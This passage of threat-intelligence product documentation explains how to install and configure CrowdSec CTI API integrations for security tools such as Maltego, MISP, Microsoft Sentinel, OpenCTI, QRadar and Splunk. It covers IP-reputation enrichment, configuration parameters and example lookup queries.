key to the transforms") 1. Obtain the CrowdSec CTI API key by following [this guide.](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) 2. Follow [this guide](https://docs.maltego.com/support/solutions/articles/15000017851-setting-api-keys-for-all-transforms-inside-a-hub-item) except select CrowdSec Transform Server. 3. Copy paste the API key in the `API key` field in the tranform properties Done ! ### Usage[โ€‹](#usage "Direct link to Usage") All the CrowdSec transforms take the **builtin IP entity** as an input. You'd have an option to run them whenever you right click an IP entity. A caching system allows you to run multiple transforms on the same IP without consuming your quotas for each transform. The cache expiration can be found in the transform settings. As per your requirements you can either run multiple transforms or just a single one. Below is a reference to what each transform does. ## Transform reference[โ€‹](#transform-reference "Direct link to Transform reference") ##### CrowdSecAS[โ€‹](#crowdsecas "Direct link to CrowdSecAS") Adds AS entity for an IP by leveraging CrowdSec CTI data ![AS entity](/assets/images/as-4e30f5ec1cd81195ad5441e7a31ee3e9.png) ##### CrowdSecActivity[โ€‹](#crowdsecactivity "Direct link to CrowdSecActivity") Adds activity details properties to an IP using CrowdSec data. ##### CrowdSecAddAPIResp[โ€‹](#crowdsecaddapiresp "Direct link to CrowdSecAddAPIResp") Attaches CrowdSec CTI API response as a property to IP entity. ##### CrowdSecBehaviours[โ€‹](#crowdsecbehaviours "Direct link to CrowdSecBehaviours") Creates a behaviour entity for an IP by leveraging CrowdSec CTI data ![Behaviours](/assets/images/behaviours-948e5b54477fd21645a53495f065f374.png) ##### CrowdSecClassification[โ€‹](#crowdsecclassification "Direct link to CrowdSecClassification") Creates classification details entities for an IP using CrowdSec data. ![Classifications](/assets/images/classifications-824636a591f7ca9daf1a9b3ab6d7045c.png) ##### CrowdSecIPRange[โ€‹](#crowdseciprange "Direct link to CrowdSecIPRange") Creates an IP range entity for an IP by leveraging CrowdSec CTI data. ![IP Range](/assets/images/ip_range-6983691c8728f7b34c9e5541a42cacfc.png) ##### CrowdSecLocation[โ€‹](#crowdseclocation "Direct link to CrowdSecLocation") Adds location entities by leveraging CrowdSec CTI data. ##### CrowdSecReverseDNS[โ€‹](#crowdsecreversedns "Direct link to CrowdSecReverseDNS") Creates Reverse DNS entity for an IP by leveraging CrowdSec CTI data ![Reverse DNS](/assets/images/reverse_dns-768fc5b2f463e9dffdcb1205ee94a095.png) ##### CrowdSecScenarios[โ€‹](#crowdsecscenarios "Direct link to CrowdSecScenarios") Creates entites for scenarios triggered by IP using CrowdSec CTI data. ![Scenarios](/assets/images/scenarios-524180ea7f348b837c6fcc20926db18d.png) ##### CrowdSecScores[โ€‹](#crowdsecscores "Direct link to CrowdSecScores") Adds score details for an IP by using CrowdSec CTI. ##### CrowdSecTargetCountries[โ€‹](#crowdsectargetcountries "Direct link to CrowdSecTargetCountries") Links IP entity with countries most attacked by it, using CrowdSec data. ![Country](/assets/images/country-921e5dc11c1c2558608f6e93de2e8eef.png) --- # MISP Plugin MISP plugin lets you enrich the knowledge of IP attributes using CrowdSec's CTI API. ## Installation[โ€‹](#installation "Direct link to Installation") ### Requirements[โ€‹](#requirements "Direct link to Requirements") * A CrowdSec CTI API key. See [instructions to obtain it](https://docs.crowdsec.net/docs/u/console/ip_reputation/api_keys/#getting-an-api-key) ### Setting up plugin server[โ€‹](#setting-up-plugin-server "Direct link to Setting up plugin server") The plugin is included in MISP's [official plugin repo](https://github.com/MISP/misp-modules). ### Configure the plugin[โ€‹](#configure-the-plugin "Direct link to Configure the plugin") You can activate this module by accessing the โ€œPluginsโ€ tab of your MISP instance: 1. Navigate to plugin settings page at `http:///servers/serverSettings/Plugin` 2. Click on Enrichment 3. Set the value of `Plugin.Enrichment_crowdsec_enabled` to `true` 4. Set the value of `Plugin.Enrichment_crowdsec_api_key` to your CrowdSec CTI API key For more details on the settings available, please refer to the [Configurations](#configurations) part. ## Usage[โ€‹](#usage "Direct link to Usage") Thanks to the CrowdSec Threat Intelligence, you can enrich your IP attributes. ![Enrich IP](/assets/images/enrich-event-from-left-menu-popup-7acc2435806dce3e1579647f238b537b.png) Once enriched, you will find a `crowdsec-ip-context` object with all attributes retrieved from CrowdSec. For more details about this object, please refer to the [Misp project documentation](https://www.misp-project.org/objects.html#_crowdsec_ip_context). ![Enriched IP part 1](/assets/images/enriched-ip-event-4f44cfbf5e4e18cb5d000a54d6e6e771.png) ![Enriched IP part 2](/assets/images/enriched-ip-event-2-b116af7e94c2ae9f7845d63b99463332.png) ## Configurations[โ€‹](#configurations "Direct link to Configurations") You will find the settings page at `http:///servers/serverSettings/Plugin` ![Configurations](/assets/images/config-65fb4efd71278c1067ba2e0ce53b0c7e.png) Configuration parameters are described below: | Setting name | Mandatory | Type | Description | | ---------------------------------------------------- | --------- | ------- | ------------------------------------------------------------------------------------------------------------------------------------------ | | `Plugin.Enrichment_crowdsec_enabled` | Yes | Boolean | Enable or disable the crowdsec module | | `Plugin.Enrichment_crowdsec_restrict` | No | String | Restrict the crowdsec module to the given organisation. | | `Plugin.Enrichment_crowdsec_api_key` | Yes | String | CrowdSec CTI API key. See [instructions to obtain it](https://docs.crowdsec.net/docs/u/console/ip_reputation/api_keys/#getting-an-api-key) | | `Plugin.Enrichment_crowdsec_add_reputation_tag` | No | String | Enable/disable the creation of a reputation tag for the IP attribute. You can use `True` or `False` as string value. Default: `True` | | `Plugin.Enrichment_crowdsec_add_behavior_tag` | No | String | Enable/disable the creation of a behavior tag for the IP attribute. You can use `True` or `False` as string value. Default: `True` | | `Plugin.Enrichment_crowdsec_add_classification_tag` | No | String | Enable/disable the creation of a classification tag for the IP attribute. You can use `True` or `False` as string value. Default: `True` | | `Plugin.Enrichment_crowdsec_add_mitre_technique_tag` | No | String | Enable/disable the creation of a mitre technique tag for the IP attribute. You can use `True` or `False` as string value. Default: `True` | | `Plugin.Enrichment_crowdsec_add_cve_tag` | No | String | Enable/disable the creation of a cve tag for the IP attribute. You can use `True` or `False` as string value. Default: `True` | --- # Microsoft Sentinel CrowdSec Sentinel Playbook allows you to enrich your Microsoft Sentinel security monitoring with CrowdSec's CTI intelligence. This integration enables you to detect and create alerts when authentication or other security events involve malicious or suspicious IP addresses. This documentation will guide you through deploying the playbook, configuring the necessary permissions, and setting up an example analytics rule to detect threats using CrowdSec's CTI API. ## Prerequisites: Get Your CTI API Key[โ€‹](#prerequisites-get-your-cti-api-key "Direct link to Prerequisites: Get Your CTI API Key") Before configuring the Logic App, you'll need a CrowdSec CTI API key.
For detailed instructions on obtaining your API key, check out the [CTI API Getting Started guide](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md). info If you need higher quotas for your CTI API key to handle larger volumes of queries, please [contact us](https://www.crowdsec.net/contact) to discuss custom quotas. ## Deployment[โ€‹](#deployment "Direct link to Deployment") The deployment uses an Azure Resource Manager template that can be deployed directly to your Azure environment. [![Deploy to Azure](https://aka.ms/deploytoazurebutton)](https://portal.azure.com/#create/Microsoft.Template/uri/https%3A%2F%2Fraw.githubusercontent.com%2Fcrowdsecurity%2Fcrowdsec-sentinel-playbook%2Frefs%2Fheads%2Fmain%2Fazuredeploy.json) Click the "Deploy to Azure" button above to begin the deployment process. ![Deploy](/assets/images/setup-be3326b8a23d3225136bb18fe0a67a55.png) ## Configuring Permissions[โ€‹](#configuring-permissions "Direct link to Configuring Permissions") After deployment, you need to configure the appropriate permissions for the Logic App and Azure Sentinel to work together: ### 1. Grant IAM Roles[โ€‹](#1-grant-iam-roles "Direct link to 1. Grant IAM Roles") In your resource group, navigate to IAM (Identity and Access Management) and grant the following roles: * **"Microsoft Sentinel Contributor"** role to the Logic App * **"Microsoft Sentinel Automation Contributor"** role to "Azure Security Insights" ### 2. Configure API Connection[โ€‹](#2-configure-api-connection "Direct link to 2. Configure API Connection") Allow the Azure Sentinel API Connection by navigating to: * General settings โ†’ Edit API Connection ## Example Usage[โ€‹](#example-usage "Direct link to Example Usage") In this example, we'll create an **Analytics Rule** to trigger on successful EntraID authentications, and use an **Automation Rule** to trigger our **Logic App**. The **Logic App** will leverage CrowdSec's CTI to create an **Alert** if the authentication came from a malicious or suspicious IP address. ### Step 1: Create Analytics Rule[โ€‹](#step-1-create-analytics-rule "Direct link to Step 1: Create Analytics Rule") Create an analytics rule that will detect the events you want to monitor. In this example, we're monitoring successful EntraID authentication events. ![Analytics Rule Creation](/assets/images/analytics-rule-8e2aac3e8538548d6f1cef41977a884a.png) ### Step 2: Create Automation Rule[โ€‹](#step-2-create-automation-rule "Direct link to Step 2: Create Automation Rule") Create an automation rule that will trigger the Logic App when your analytics rule conditions are met. ![Automation Rule Creation](/assets/images/automation-rule-3cfd12c1aabb3e8c09e9a063897ff516.png) ### Step 3: Test the Integration[โ€‹](#step-3-test-the-integration "Direct link to Step 3: Test the Integration") To test the integration: 1. Initiate a connection from a known malicious IP address (such as a Tor exit node) 2. Wait for your analytics rule to trigger 3. Watch for alerts to appear in the Azure Sentinel dashboard ![Example Alert](/assets/images/alert-ad2411ad38e0f017ea00e84887deaae1.png) The integration combines Microsoft Sentinel's detection capabilities with CrowdSec's threat intelligence database to provide enhanced security monitoring and automated threat detection. --- # MSTICpy MSTICpy includes a CrowdSec Threat Intelligence Provider. It can be used to enrich your IP IOCs with CrowdSec's smoke CTI. You can learn more about MSTICpy [here](https://msticpy.readthedocs.io/en/latest/). ## Configuration[โ€‹](#configuration "Direct link to Configuration") ### Adding CrowdSec as TIProvider[โ€‹](#adding-crowdsec-as-tiprovider "Direct link to Adding CrowdSec as TIProvider") In your `msticpyconfig.yaml` file, add the following: YAMLCOPY ``` TIProviders: CrowdSec: Args: AuthKey: Provider: "CrowdSec" ``` Make sure to replace `` with your API key for CrowdSec CTI API. You can learn more about getting your API key [here](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md). You can uncomment the `Primary` line if you want to use CrowdSec as your primary TIProvider, for enriching IOCs of ipv4 and ipv6 types. ## Example Jupyter Notebooks Usage[โ€‹](#example-jupyter-notebooks-usage "Direct link to Example Jupyter Notebooks Usage") This assumes you've already installed MSTICpy and have a Jupyter Notebook running. ### Using the TIProvider[โ€‹](#using-the-tiprovider "Direct link to Using the TIProvider") You can use the following code block to enrich multiple IP addresses using CrowdSec's TIProvider and browse the results. Make sure to replace the IPs with what you want to lookup. PYCOPY ``` import msticpy as mp mp.init_notebook() ti_lookup = mp.TILookup() ips = ["ip1", "ip2"] # replace the IPs with what you want to lookup result = ti_lookup.lookup_iocs(ips, providers=["CrowdSec"]) results_df = ti_lookup.result_to_df(result) mp.TILookup.browse(results_df) ``` ![Example Output](/assets/images/jupytermsticpy-1d883d6f2cc10d7fe21f0aca6f4c9bb5.png) ## Example Azure Sentinel Notebook Usage[โ€‹](#example-azure-sentinel-notebook-usage "Direct link to Example Azure Sentinel Notebook Usage") To use notebooks in Microsoft Sentinel, make sure that you have the required permissions. For more information, see [Manage access to Microsoft Sentinel notebooks](https://learn.microsoft.com/en-us/azure/sentinel/notebooks#manage-access-to-microsoft-sentinel-notebooks). Make sure your `msticpyconfig.yaml` file is configured to access the Azure Sentinnel Workspace. In this example, we'll lookup IP IOCs from Azure Sentinel in CrowdSec CTI using the CrowdSec's TIProvider. PYCOPY ``` import msticpy as mp from msticpy.context.azure import MicrosoftSentinel mp.init_notebook() sentinel = MicrosoftSentinel() sentinel.connect(auth_methods=['cli','interactive']) ips_to_lookup = [] indicators = sentinel.query_indicators(patternTypes=["ipv4-addr"]) for indicator in indicators.get("properties.parsedPattern"): for patternTypeValue in indicator[0]["patternTypeValues"]: ips_to_lookup.append(patternTypeValue["value"]) ti_lookup = mp.TILookup() result = ti_lookup.lookup_iocs(ips_to_lookup, providers=["CrowdSec"]) results_df = ti_lookup.result_to_df(result) mp.TILookup.browse(results_df) ``` ![Example Output](/assets/images/azure-faafdacb35d774a22e617acb12b5d490.png) --- # OpenCTI Enrichment Connector OpenCTI Internal enrichment connector that provides advanced Threat context on your IP Observables.
Get the most out of CrowdSec Threat Intelligence for a better understanding of bad actors hitting your infrastructure. [Official OpenCTI connector Repo](https://github.com/OpenCTI-Platform/connectors/tree/master/internal-enrichment/crowdsec) ## Installation[โ€‹](#installation "Direct link to Installation") You can check the [install guide on our repository](https://github.com/crowdsecurity/cs-opencti-internal-enrichment-connector/blob/main/docs/INSTALLATION_GUIDE.md)
We'll give you an overview of the steps thereafter. ### Via Docker Compose using the official repo[โ€‹](#via-docker-compose-using-the-official-repo "Direct link to Via Docker Compose using the official repo") Add a `connector-crowdsec` in your `docker-compose.yml` file containing your OpenCTI deployment. Replace the environment value `ChangeMe` with appropriate values. YAMLCOPY ``` connector-crowdsec: image: opencti/connector-crowdsec:6.2.1 environment: - OPENCTI_URL=http://opencti:8080 # OpenCTI API URL - OPENCTI_TOKEN=ChangeMe # Add OpenCTI API token here - CONNECTOR_ID=ChangeMe # Add CrowdSec connector ID (any valid UUID v4) - CONNECTOR_TYPE=INTERNAL_ENRICHMENT - CONNECTOR_SCOPE=IPv4-Addr,IPv6-Addr # MIME type or Stix Object - CONNECTOR_CONFIDENCE_LEVEL=100 # From 0 (Unknown) to 100 (Fully trusted) - CONNECTOR_LOG_LEVEL=error - CONNECTOR_UPDATE_EXISTING_DATA=false - CONNECTOR_NAME=CrowdSec - CROWDSEC_KEY=ChangeMe # Add CrowdSec's CTI API Key - CROWDSEC_API_VERSION=v2 #v2 is the only supported version for now restart: always # If you add it to your OpenCTI docker-compose, add depends_on: - opencti ``` ### Manual activation[โ€‹](#manual-activation "Direct link to Manual activation") If you want to manually launch the connector, you just have to install Python 3 and pip3 for dependencies: TEXTCOPY ``` $ apt install python3 python3-pip ``` Download the [release](https://github.com/OpenCTI-Platform/connectors/archive/%7BRELEASE_VERSION%7D.zip) of the connectors: TEXTCOPY ``` $ wget $ unzip {RELEASE_VERSION}.zip $ cd connectors-{RELEASE_VERSION}/internal-enrichment/crowdsec ``` Install dependencies and initialize the configuration: TEXTCOPY ``` $ pip3 install -r requirements.txt $ cp config.yml.sample config.yml ``` The config.yml initially contains the following contents. YAMLCOPY ``` opencti: url: 'http://localhost:8080' token: ChangeMe connector: id: ChangeMe type: 'INTERNAL_ENRICHMENT' name: 'CrowdSec' scope: 'IPv4-Addr' # MIME type or SCO confidence_level: 80 # From 0 (Unknown) to 100 (Fully trusted) log_level: 'info' auto: true crowdsec: key: ChangeMe api_version: v2 name: CrowdSec description: CrowdSec CTI max_tlp: 'TLP:AMBER' ``` Replace `opencti.token` with your openCTI token Replace `connector.id` with an ID of your choice. Replace `crowdsec.key` with your CrowdSec CTI API key. See [instructions about obtaining it](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) Finally run the connector TEXTCOPY ``` $ python3 crowdsec.py ``` ### Connector configuration[โ€‹](#connector-configuration "Direct link to Connector configuration") You'll find all config params in the repo's [User Guide](https://github.com/crowdsecurity/cs-opencti-internal-enrichment-connector/blob/main/docs/USER_GUIDE.md).
You can choose what enrichments will be added: * Various labels base on reputation, behaviors, mitre attack and their colors * Sightings * Indicators and attack patterns * Details note * ... Here are the recommended starter parameters: YAMLCOPY ``` environment: # [...] - CROWDSEC_LABELS_SCENARIO_NAME=true - CROWDSEC_LABELS_SCENARIO_LABEL=false - CROWDSEC_LABELS_CVE=true - CROWDSEC_LABELS_MITRE=true - CROWDSEC_LABELS_REPUTATION=true - CROWDSEC_INDICATOR_CREATE_FROM='malicious,suspicious,known' - CROWDSEC_CREATE_NOTE=true - CROWDSEC_CREATE_SIGHTING=true - CROWDSEC_CREATE_TARGETED_COUNTRIES_SIGHTINGS=false ``` ## Usage & Preview[โ€‹](#usage--preview "Direct link to Usage & Preview") Make sure the CrowdSec connector is registered, by navigating to `https:///dashboard/data/ingestion/connectors` (`http:///dashboard/data/connectors` in older versions of openCTI) Whenever an IP object is imported in your OpenCTI instances, it can get enriched automatically with CrowdSec Threat Intelligence. In the example below you can see that our observables have labels created by our connector.
They show the reputation, the mitre attack technique code and the behavior associated with that IP.
Labels can be activated and deactivated for various enrichment dimensions as well as have a custom color of your choice. Refer to the [User Guide](https://github.com/crowdsecurity/cs-opencti-internal-enrichment-connector/blob/main/docs/USER_GUIDE.md) to know more. ![OpenCTI enriched](/assets/images/opencti_observables_list-16a028bd291151f00643f4e54b79b3cf.png) There after you can see the kind of enrichments added to your observable: * Labels of course * External reference * Various relationships like Indicators, Attack patterns ... * And a note mentionning important informations like the date of first and last seen, top target countries and more. ![OpenCTI enriched](/assets/images/opencti_observable_details-719de7b31344c8d7e1fd9baa15408147.png) Finally you can browse the various relationships created for this observable like the indicators: ![OpenCTI enriched](/assets/images/opencti_indicators-5a96ec53c87c198cfb45a6e2f75c42cb.png) --- # PaloAlto Cortex XSOAR Cortex Plugin The **PaloAlto XSOAR/XSIAM - Cortex Plugin** allows you to obtain a detailed report from CrowdSec's CTI **smoke** database. ## Installation[โ€‹](#installation "Direct link to Installation") The integration is available directly from within Cortex XSOAR. * Find and add an instance of the CrowdSec data enrichment. * Fill in the API key you generated from the [console interface](https://doc.crowdsec.net/docs/cti_api/getting_started).
![Cortex XSOAR integration](/assets/images/cortex-XSOAR-find-integration-4e67fdb1a94db10145525d7bfe01aa4c.png)
If you need to download it you can find it [here](https://cortex.marketplace.pan.dev/marketplace/details/CrowdSec/).
You can also refer to the [integration documentation](https://xsoar.pan.dev/docs/reference/integrations/crowd-sec). ## Usage[โ€‹](#usage "Direct link to Usage") Once the CrowdSec enrichment is activated, your incidents will benefit from CrowdSec's CTI data on the incident's IP.
![Incident Info Main](/assets/images/cortex-XSOAR-incident-info-main-cf59d09d16a10072944843f28eb7e144.png) Date of the incident and attack details will be visible in the quick view and the full view.
![Incident Summary](/assets/images/cortex-XSOAR-summary-02b4e39dd49c1eebacc9dc0a78e17cf3.png)
![Source Details](/assets/images/cortex-XSOAR-source-details-291e60ea4d5004944870cec099097564.png) --- # ย CrowdSec Qradar - Quick Access App This QRadar App leverages CrowdSec's CTIโ€™s smoke endpoint to get information about IP as seen by CrowdSec's network. This is enabled via a right click on IP GUI action. The information is presented with a summary of the IP's known behaviors, a link to CrowdSec's console and the possibility to copy the raw json response for further processing within Qradar. The information includes: 1. Types of attacks the IP has been observed performing. 2. Background Noise Score. Background Noise (BN), also known as โ€œInternet Background Radiationโ€ defines automatic and mild attacks that are perpetrated at a large scale, without a specific target. 3. Aggressivity which quantifies frequency of attacks. 4. Other fields like Geolocation details, AS details, sighting details etc ## Configuration[โ€‹](#configuration "Direct link to Configuration") Setup the App in two easy steps 1. Generate your Crowdsec CTI API Key in CrowdSec's console. You can find the instructions to obtain it [here](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) 2. Put the API Key in the App as demonstrated below Within QRadarโ€™s Admin page, navigate to the CrowdSec App and click on the app Setting icon ![config menu](/assets/images/config_menu-00e0d14279107dc05a10c9670ecaae25.png) A pop-up will appear. Enter the API Key and click on Submit. ![API Key Form](/assets/images/api_key_form-1394bd190be7014c0036b16cce877929.png) The App is now configured ! ## Usage[โ€‹](#usage "Direct link to Usage") * Navigate to Log Activity pane in QRadar. * Right click on an IP either in Source IP or Destination IP column. Hover over "More Options". * You will see a new option "CrowdSec IP Lookup". Click on it. ![Qradar Log View](/assets/images/log_view-d03a6a481f4af186c30676165ea4a098.png) This will open a popup with the information about the right clicked IP found in CrowdSec's Smoke Dataset. ![Popup](/assets/images/popup-3bedadc9006cf21100ff224c6c1302e7.png) You can click on the "Show" button to see the RAW JSON response from the API. ![Raw JSON](/assets/images/raw_json-18ca7b169e5f6035ee55e3a8e8d4897a.png) ## References[โ€‹](#references "Direct link to References") You can find our latest taxonomy about attack details, classifications, scores etc in [our official docs](https://docs.crowdsec.net/u/cti_api/taxonomy/intro.md) --- # Security Copilot Plugin CrowdSec Intelligence Plugin for Microsoft Security Copilot allows you to get advanced insights on a malicious IP activity.
As part of the core plugins of Security copilot its setup and usage are very straight forward. This documentation will lead you through an easy setup and lead you through some example usage and prompts. ## Configure the plugin[โ€‹](#configure-the-plugin "Direct link to Configure the plugin") ### Prerequisite: retrieve your API Key[โ€‹](#prerequisite-retrieve-your-api-key "Direct link to Prerequisite: retrieve your API Key") The plugin is using our CTI API to provide information on over 70M attackers recently reported by CrowdSec's network.
You can create a trial key or retrieve your existing keys in the [console](https://app.crowdsec.net/) in the "Settings" > "CTI API Keys" section.
If you need more details check out the [CTI API Key - getting started section](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) ### Activate and setup the plugin[โ€‹](#activate-and-setup-the-plugin "Direct link to Activate and setup the plugin") This consists of 3 easy steps: browse plugins, select "CrowdSec Threat Intelligence" plugin, paste API Key in settings #### 1. Browse plugins[โ€‹](#1-browse-plugins "Direct link to 1. Browse plugins") Within the [Security Copilot](https://securitycopilot.microsoft.com/) main page, on the right hand side of the prompt input, you'll see an icon represented by 4 squares with a "source" tooltip like shown in the picture there after.
![Show all plugins via the sources menu](/assets/images/securitycopilot_prompt_and_sourcebutton-8ee48047a98134ec5a2a77c6376c53ad.png) Activate the "CrowdSec Threat Intelligence" plugin by clicking on the switch (it will turn blue).
![Activate the plugin](/assets/images/securitycopilot_plugin_activation-e62da3202661ce5bc57aaab7601701a2.png) Then fill in your api key in the settings:
Press the "cog" icon on the plugin within the list
![Edit settings](/assets/images/securitycopilot_edit_settings-e50fe23a69511bb6e5f23d561b12e1d7.png) And paste your API Key
![Paste API Key](/assets/images/securitycopilot_fill_api_key-07290e1989ccb25e24650e3d09ef3298.png) ## Usage[โ€‹](#usage "Direct link to Usage") Now let's play around with this plugin.
*Note: You might need to reload the page after updating your plugin selection.* ### Basic prompts[โ€‹](#basic-prompts "Direct link to Basic prompts") You can simply ask: TEXTCOPY ``` What does CrowdSec know about ``` For example: TEXTCOPY ``` What does CrowdSec know about 184.178.172.25 ``` The 3 steps copilot take will be: to select the plugin, do the request and format his response as shown below: ![Basic result](/assets/images/securitycopilot_basic_prompt_result-c077e8539f086e81227235dbd2afacf4.png) --- # Sekoia XDR CrowdSec's CTI API can be used in Sekoia XDR Playbooks to enrich alerts with CrowdSec's knowledge about the IP. You can learn more about Sekoia XDR Playbooks [here](https://docs.sekoia.io/xdr/features/automate/). ## Usage[โ€‹](#usage "Direct link to Usage") Get your API key for CrowdSec CTI API by following [this guide.](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) In your playbook you can now create a Node which calls CrowdSec's CTI API. ### Configuring CrowdSec Node[โ€‹](#configuring-crowdsec-node "Direct link to Configuring CrowdSec Node") ![Config Sekoia XDR Node](/assets/images/config_node-36aab97cf2b66193771658d5e707f576.png) Following config is needed: JSCOPY ``` {"x-api-key":"", "User-Agent":"sekoia-playbook/v1.0.0"} ``` Don't forget to set the API key in the header `x-api-key`. Make sure you feed the IP address in the URL. ### Example Full Playbook[โ€‹](#example-full-playbook "Direct link to Example Full Playbook") ![Example Playbook](/assets/images/full_playbook-cbdcb5c60cff6864f1162df9c33e272a.jpg) ### Example Results[โ€‹](#example-results "Direct link to Example Results") ![Example Output](/assets/images/results-55a290635ae19707e6fef63c95d2f95c.jpg) --- # Splunk SIEM App The **Splunk SIEM App** enables IP lookup from CrowdSec CTI API via custom command called `cssmoke`. It provides information about the IP, such as what kind of attacks it has been participant of as seen by CrowdSec's network. It also includes enrichment by CrowdSec like background noise score, aggressivity over time etc. ## Installation[โ€‹](#installation "Direct link to Installation") The Splunk SIEM App is available in Splunkbase. You can download it from [here](https://splunkbase.splunk.com/app/6800/). ## Usage[โ€‹](#usage "Direct link to Usage") * Get your API key for CrowdSec CTI API by following [this guide.](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) * Complete the App setup by providing your API Key info The batching option cannot be used with free CTI API keys. Batching allows to query up to 100 IPs at a time and is needed for any larger scale enrichments. ![Setup View](/assets/images/splunk_siem_api_key_setup-17bd328cc6891f044a470a63bfa5f856.png) * Test it by running the query `| makeresults | eval ip="8.8.8.8" | cssmoke ipfield="ip"` ![Example Output](/assets/images/splunk_siem_example-e8439e480017045e7edb542126602709.png) ## Fields filtering[โ€‹](#fields-filtering "Direct link to Fields filtering") `cssmoke` supports a `fields` argument to restrict outputed fields, separated by commas. TEXTCOPY ``` cssmoke ipfield="ip" fields="confidence,reputation,cves" ``` ![Example Output (2)](/assets/images/splunk_siem_example_2-d4bae72a98f3db2f1dae11d8ea9ce0cf.png) ## Display profiles[โ€‹](#display-profiles "Direct link to Display profiles") Profiles are optional presets that automatically select a predefined set of CrowdSec output fields, so results stay consistent and you donโ€™t have to manually maintain long `ipfield=` lists. * `base`: returns `ip`, `reputation`, `confidence`, `as_num`, `as_name`, `location`, `classifications`. * `anonymous`: (aliases: `vpn` `proxy`): returns `ip`, `reputation`, `proxy_or_vpn`, `classifications`. * `iprange`: returns `ip`, `ip_range`, `ip_range_24`, `ip_range_24_score`. You can provide multiple profile in the same command: TEXTCOPY ``` | cssmoke ipfield="ip" profile="anonymous,iprange" ``` The output will contains the columns for the `anonymous` and the `iprange` profiles. ## Multiple IP fields[โ€‹](#multiple-ip-fields "Direct link to Multiple IP fields") All output fields have the prefix `crowdsec_{field}_`. For event with multiple IPs (ie. `ipsrc`, `ipdst`), the outputs will be in `crowdsec_ipsrc_reputation`, `crowdsec_ipdst_reputation` etc. ![Example Output (3)](/assets/images/splunk_siem_multiple_ips-d0261c95f66f0cd4e73623ed13bf1948.png) info Fields containing multiple IP values aren't supported. ## Enriched Data[โ€‹](#enriched-data "Direct link to Enriched Data") The following fields are automatically enriched using **CrowdSec** intelligence: (Please refer to the [CrowdSec CTI API documentation](https://docs.crowdsec.net/u/cti_api/taxonomy/cti_object/) for more details on each field.) info All output fields are prefixed with `crowdsec_{field}_`. ### Reputation & Classification[โ€‹](#reputation--classification "Direct link to Reputation & Classification") * `reputation`: IP reputation * `confidence`: Confidence level * `ip_range_score`: The malevolence score of the IP range the IP belongs to * `ip`: Original IP address * `ip_range`: IP range * `ip_range_24`: /24 range of the IP address * `ip_range_24_reputation`: Reputation of the range * `ip_range_24_score`: Score for the range * `as_name`: Autonomous system (AS) name * `as_num`: Autonomous system (AS) number * `false_positives`: Historical false positives * `classifications`: Classifications associated with the IP * `proxy_or_vpn`: Either the IP is a proxy or VPN ### Geolocation[โ€‹](#geolocation "Direct link to Geolocation") * `country`: Country * `city`: City * `latitude`: Latitude * `longitude`: Longitude * `reverse_dns`: Reverse DNS result ### Behavioral & Threat Intelligence[โ€‹](#behavioral--threat-intelligence "Direct link to Behavioral & Threat Intelligence") * `behaviors`: A list of the attack categories for which the IP was reported * `mitre_techniques`: A list of Mitre techniques associated with the IP * `cves`: A list of CVEs for which the IP has been reported for * `attack_details`: A more exhaustive list of the scenarios for which a given IP was reported * `target_countries`: The top 10 countries targeted by the IP * `background_noise`: The level of background noise of an IP address is an indicator of its internet activity intensity * `background_noise_score`: CrowdSec intelligence calculated score * `references`: A list of the CrowdSec Blockists the IP belongs to ### Activity History[โ€‹](#activity-history "Direct link to Activity History") * `first_seen`: Date of the first time this IP was reported * `last_seen`: Date of the last time this IP was reported * `full_age`: Delta in days between first seen and today * `days_age`: Delta in days between first and last seen timestamps ### Threat Scores Over Time[โ€‹](#threat-scores-over-time "Direct link to Threat Scores Over Time") #### Overall[โ€‹](#overall "Direct link to Overall") * `overall_aggressiveness` * `overall_threat` * `overall_trust` * `overall_anomaly` * `overall_total` #### Last Day[โ€‹](#last-day "Direct link to Last Day") * `last_day_aggressiveness` * `last_day_threat` * `last_day_trust` * `last_day_anomaly` * `last_day_total` #### Last Week[โ€‹](#last-week "Direct link to Last Week") * `last_week_aggressiveness` * `last_week_threat` * `last_week_trust` * `last_week_anomaly` * `last_week_total` #### Last Month[โ€‹](#last-month "Direct link to Last Month") * `last_month_aggressiveness` * `last_month_threat` * `last_month_trust` * `last_month_anomaly` * `last_month_total` ## Offline Replication[โ€‹](#offline-replication "Direct link to Offline Replication") Offline replication lets the app perform CrowdSec CTI lookups without calling the live CTI API for every search. When enabled, the app periodically (every 24h) downloads the CrowdSec CTI database locally (MMDB format) and queries that local database instead of sending requests to the API. Because the database is an MMDB, lookups can also return network-level intelligence: if there is no exact match for an IP address but reputation data exists for its containing /24 network, the result can still include that /24 information. The first time you setup the local dump feature, you need to download manually the CrowdSec lookup databases (they will be updated every 24h automatically after that): TEXTCOPY ``` | cssmokedownload ``` After that, you can look up IPs using the local databases. If an IP address is not found in the local CrowdSec CTI database, the app automatically falls back to the bundled **CIRCL** ([circl.lu](https://data.public.lu/en/datasets/)) MMDB dataset to enrich the event with at least country and AS/ASN information. This ensures that Offline replication always returns basic geolocation and network owner context, even when CrowdSec CTI has no match for a given IP. warning Offline replication requires a CTI API key that has access to the dump endpoint. info You can use profile `profile=debug` to check the `query_time` and `query_mode` fields in the results to confirm whether lookups are done via `local_dump` or the live API. info The size of the downloaded local database is approximately 2.8 GB and may vary over time. ## Configuration file[โ€‹](#configuration-file "Direct link to Configuration file") You can configure the CrowdSec app by uploading a JSON configuration file during the setup: TEXTCOPY ``` { "api_key": "YOUR_API_KEY_HERE", "batching": true|false, "batch_size": 20, "local_dump": true|false } ``` ### `api_key`[โ€‹](#api_key "Direct link to api_key") CrowdSec CTI API key. warning Local dump and live CTI API lookups are mutually exclusive (enable only one mode). ### `batching`[โ€‹](#batching "Direct link to batching") Enable batching for live CTI API lookups. ### `batch_size`[โ€‹](#batch_size "Direct link to batch_size") Batch size used when `batching` is enabled. ### `local_dump`[โ€‹](#local_dump "Direct link to local_dump") Enable offline replication mode (use the downloaded lookup databases). Lookup databases are download automatically every 24h. --- # Splunk SOAR Splunk SOAR App for CrowdSec. This App allows enrichment of IP addresses in an event investigation and playbooks with CrowdSec's CTI API. This documentation will guide you through installing and configuring the app as well as showing an example of usage in which we'll show enrichement of IP addresses in an event investigation. ## Setup[โ€‹](#setup "Direct link to Setup") 1. Navigate to apps page from your dashboard as shown in 